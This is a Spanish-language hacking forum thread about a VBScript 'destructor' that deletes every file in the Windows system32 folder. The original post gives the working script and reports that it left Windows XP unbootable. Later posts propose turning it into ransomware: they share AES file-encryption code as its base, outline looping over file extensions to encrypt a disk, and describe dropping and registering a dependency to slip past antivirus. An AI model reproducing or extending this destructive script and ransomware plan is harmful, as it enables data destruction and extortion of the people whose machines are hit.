Underc0de

[In]Seguridad Informática => Análisis y desarrollo de malwares => Mensaje iniciado por: PikachuDorado en Noviembre 09, 2016, 09:26:59 AM

Título: [VBS] Destructor
Publicado por: PikachuDorado en Noviembre 09, 2016, 09:26:59 AM
Hola chicos, se que es un script MUY basico. Pero lo probe en windowsXP service pack 3 x86 y funciono.
Es parte de un pack simple de herramientas de Fabian Portantier, profesor de la carrera de Seguridad Informatica en EducacionIT.


On Error Resume Next

'Desarrollado por Fabian Portantier'

strDir = "C:\WINDOWS\system32\"

Mensaje = "Este programa es una prueba de concepto, que demuestra como algunos archivos " &_
"no son detectados por los antivirus, aun cuando lo unico que hacen es eliminar componentes de sistema." &_
"Esta seguro de que desea ejecutar este programa?"

retval = msgbox(Mensaje, vbYesNo, "Cuidado!")
if retval = vbYes then
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(strDir)
Set fc = f.Files
For Each f1 in fc
fso.DeleteFile f1, True
Next
end if


Es re basico, pero que opinan? ..
Título: Re:[VBS] Destructor
Publicado por: 79137913 en Noviembre 09, 2016, 10:53:30 AM
HOLA!!!

Creo que es justamente eso, un PoC , como siempre defendi, VBS es un lenguaje olvidado por los AVs, es muy buen vector de entrada.

GRACIAS POR LEER!!!
Título: Re:[VBS] Destructor
Publicado por: PikachuDorado en Noviembre 09, 2016, 11:13:11 AM
El tema es que funciona a la perfeccion. Despues de ejecutar el script, intento realizar acciones como por ejemplo ir al panel de control y hay pocos ajustes.


(https://s18.postimg.org/pca1ws0s9/Po_C_destruc.png)(https://s18.postimg.org/6xzissohl/Po_C_destruc_0.png)

Por si no se lee bien la imagen.
No se ha iniciado Windows porque el siguiente archivo falta
o esta dañado:
<windows root>\system32\hal.dll.
Reinstale una copia del archivo mencionado.


Tendra solución simple eso? .. Si hubiera traído el HIREN's probaba solucionarlo a ver como lo haría un usuario.
Título: Re:[VBS] Destructor
Publicado por: 79137913 en Noviembre 09, 2016, 12:36:14 PM
HOLA!!!

Si, buscar los archivos eliminados por fuera y volverlos  a colocar en la carpeta, ya que no son archivos escenciales windows no guarda un backup de los mismos, mi recomendacion, una virtual con instalacion limpia del mismo SO, y ahi copiado de archivos faltantes.

Como realizar esta tarea: Copias toda la carpeta system32 de la virtual pegas en la system32 del ordenador dañado y pones que no sobrescriba el destino.

GRACIAS POR LEER!!!
Título: Re:[VBS] Destructor
Publicado por: PikachuDorado en Noviembre 09, 2016, 12:59:48 PM
A esta muy bueno saber eso, entonces no es TAN asesino ese script. Es para asustar al usuario final y a uno que otro tecnico perezoso.

Muchas gracias Numeritos
Título: Re:[VBS] Destructor
Publicado por: 79137913 en Noviembre 09, 2016, 01:12:11 PM
HOLA!!!

Ese script necesecitaria privilegios system para borrar archivos clave.

GRACIAS POR LEER!!!
Título: Re:[VBS] Destructor
Publicado por: sadfud en Noviembre 09, 2016, 01:45:45 PM
Interesante, pero he de decir que los avs ya se han dado cuenta de que tenian trabajo pendiente con vbs y le estan dando caña, incluido microsoft, que desde hace unos meses con una actualizacion de windows defender  detecta vbs cifrado, detectando las funciones de execute y executeglobal. Lo que es tan bueno de vbs es que al crear scripts, que microsoft reconoce como propios, los antivirus no tienen detecciones heuristicas sobre este tipo de archivos, pero eso ha empezado a dejar de ser asi.
Powershell es el nuevo VBS.

Seria mas interesante si alguien es capaz de implementar una rutina de cifrado en lugar de borrar archivos, seria el primer ransomware en vbs, facil de cifrar, ligero y efectivo.

Un saludo
Título: Re:[VBS] Destructor
Publicado por: PikachuDorado en Noviembre 09, 2016, 02:27:19 PM
Voy a probar el mismo script, en w7 limpio y actualizado a ver que pasa .. jaja
Powershell es increiblemente potente, y lo de cifrar archivos ... faaaa, es una muy buena idea.

Gracias @sadfud (https://underc0de.org/foro/index.php?action=profile;u=57398) y @79137913 (https://underc0de.org/foro/index.php?action=profile;u=21192) por lo de los privilegios.
Título: Re:[VBS] Destructor
Publicado por: sadfud en Noviembre 09, 2016, 02:49:02 PM
Ejemplo de funcion de cifrado con AES-256
Código (vb) [Seleccionar]
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set outFile = fso.CreateTextFile("output.txt", True)
set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("30-day trial")
crypt.CryptAlgorithm = "aes"
crypt.CipherMode = "cbc"
crypt.KeyLength = 256
crypt.PaddingScheme = 0
ivHex = "000102030405060708090A0B0C0D0E0F"
crypt.SetEncodedIV ivHex,"hex"
keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F"
crypt.SetEncodedKey keyHex,"hex"
inFile = "C:\cifrar.pdf"
outFile = "C:\cifrar.pdf.aes"
success = crypt.CkEncryptFile(inFile,outFile)
WScript.Quit

https://www.example-code.com/vbscript/crypt_aes_encrypt_file.asp (https://www.example-code.com/vbscript/crypt_aes_encrypt_file.asp)
Esa seria la base para un posible ransomware, quedaria crear un array con la lista de extensiones y meterlo en un for loop e ir cifrando el disco.
La rutina de cifrado no esta detectada como es logico
(https://www.pscan.xyz/image.php?id=KKviJKAkYezaseqC)
Título: Re:[VBS] Destructor
Publicado por: 79137913 en Noviembre 10, 2016, 09:16:40 AM
HOLA!!!

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Ejemplo de funcion de cifrado con AES-256
Código (vb) [Seleccionar]
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set outFile = fso.CreateTextFile("output.txt", True)
set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("30-day trial")
crypt.CryptAlgorithm = "aes"
crypt.CipherMode = "cbc"
crypt.KeyLength = 256
crypt.PaddingScheme = 0
ivHex = "000102030405060708090A0B0C0D0E0F"
crypt.SetEncodedIV ivHex,"hex"
keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F"
crypt.SetEncodedKey keyHex,"hex"
inFile = "C:\cifrar.pdf"
outFile = "C:\cifrar.pdf.aes"
success = crypt.CkEncryptFile(inFile,outFile)
WScript.Quit

https://www.example-code.com/vbscript/crypt_aes_encrypt_file.asp (https://www.example-code.com/vbscript/crypt_aes_encrypt_file.asp)
Esa seria la base para un posible ransomware, quedaria crear un array con la lista de extensiones y meterlo en un for loop e ir cifrando el disco.
La rutina de cifrado no esta detectada como es logico
(https://www.pscan.xyz/image.php?id=KKviJKAkYezaseqC)

@SadFud , me extraña   :-\  pensaba que estabas mas capacitado para estos temas, Chilkat es una libreria paga y propietaria que requiere instalacion previa, no es un recurso que se use en malware, siempre aparece en google cuando buscas pero sus ejemplos no sirven y menos si queres hacer malware por que deberias distribuir el vbs (en este caso) con la libreria.

En fin escribo esto para que no piensen que es todo tan simple.

GRACIAS POR LEER!!!
Título: Re:[VBS] Destructor
Publicado por: OnTheCore en Noviembre 10, 2016, 02:34:45 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Hola chicos, se que es un script MUY basico. Pero lo probe en windowsXP service pack 3 x86 y funciono.
Es parte de un pack simple de herramientas de Fabian Portantier, profesor de la carrera de Seguridad Informatica en EducacionIT.


On Error Resume Next

'Desarrollado por Fabian Portantier'

strDir = "C:\WINDOWS\system32\"

Mensaje = "Este programa es una prueba de concepto, que demuestra como algunos archivos " &_
"no son detectados por los antivirus, aun cuando lo unico que hacen es eliminar componentes de sistema." &_
"Esta seguro de que desea ejecutar este programa?"

retval = msgbox(Mensaje, vbYesNo, "Cuidado!")
if retval = vbYes then
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(strDir)
Set fc = f.Files
For Each f1 in fc
fso.DeleteFile f1, True
Next
end if


Es re basico, pero que opinan? ..
Eso no es malware, solamente borra todos los archivos en System32. Ejecutalo en una cuenta de usuario o en guest y no va a funcionar.
El antivirus es una barrera protectora, no es una herramienta para salvar usuarios estúpidos o malas configuraciones.
Si un script vbs que borra todos los archivos de system32 tiene que ser detectado como virus, un rm -rf también tendría que ser detectado y la herramienta format.exe también, dd también, etc.
Título: Re:[VBS] Destructor
Publicado por: sadfud en Noviembre 10, 2016, 02:45:34 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
HOLA!!!

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Ejemplo de funcion de cifrado con AES-256
Código (vb) [Seleccionar]
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set outFile = fso.CreateTextFile("output.txt", True)
set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("30-day trial")
crypt.CryptAlgorithm = "aes"
crypt.CipherMode = "cbc"
crypt.KeyLength = 256
crypt.PaddingScheme = 0
ivHex = "000102030405060708090A0B0C0D0E0F"
crypt.SetEncodedIV ivHex,"hex"
keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F"
crypt.SetEncodedKey keyHex,"hex"
inFile = "C:\cifrar.pdf"
outFile = "C:\cifrar.pdf.aes"
success = crypt.CkEncryptFile(inFile,outFile)
WScript.Quit

https://www.example-code.com/vbscript/crypt_aes_encrypt_file.asp (https://www.example-code.com/vbscript/crypt_aes_encrypt_file.asp)
Esa seria la base para un posible ransomware, quedaria crear un array con la lista de extensiones y meterlo en un for loop e ir cifrando el disco.
La rutina de cifrado no esta detectada como es logico
(https://www.pscan.xyz/image.php?id=KKviJKAkYezaseqC)

@SadFud , me extraña   :-\  pensaba que estabas mas capacitado para estos temas, Chilkat es una libreria paga y propietaria que requiere instalacion previa, no es un recurso que se use en malware, siempre aparece en google cuando buscas pero sus ejemplos no sirven y menos si queres hacer malware por que deberias distribuir el vbs (en este caso) con la libreria.

En fin escribo esto para que no piensen que es todo tan simple.

GRACIAS POR LEER!!!

Lo se, y lo pense, pero no encontre rutinas de cifrado que no tirasen de esta dependencia, de todos modos puedes bindear todo, droppeas la dependencia en temp y la registras con un bat que tambien dropees y posteriormente ejecutas el vbs. como bien dices es de pago y solo tienes 30 dias de uso por equipo, pero da igual porque en realidad solo vas a llamarla en la primera ejecucion

Seria un malware muy muy cutre, si, pero podria funcionar.

Un saludo
Título: Re:[VBS] Destructor
Publicado por: PikachuDorado en Noviembre 10, 2016, 03:46:19 PM
No recuerdo de donde saque este codigo, pero si te sirve de algo...


    Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim encrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return encrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function

    Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function
End Class



@OnTheCore  si, lo se. No estoy creando la herramienta de la muerte. Estoy mostrando lo que encontre en un pack.
Título: Re:[VBS] Destructor
Publicado por: fudmario en Noviembre 10, 2016, 09:06:56 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No recuerdo de donde saque este codigo, pero si te sirve de algo...
Código (vbnet) [Seleccionar]

   Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim encrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return encrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function

    Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function
End Class

.....................


Ese Código es para VB.NET, no para VBScript

Saludos.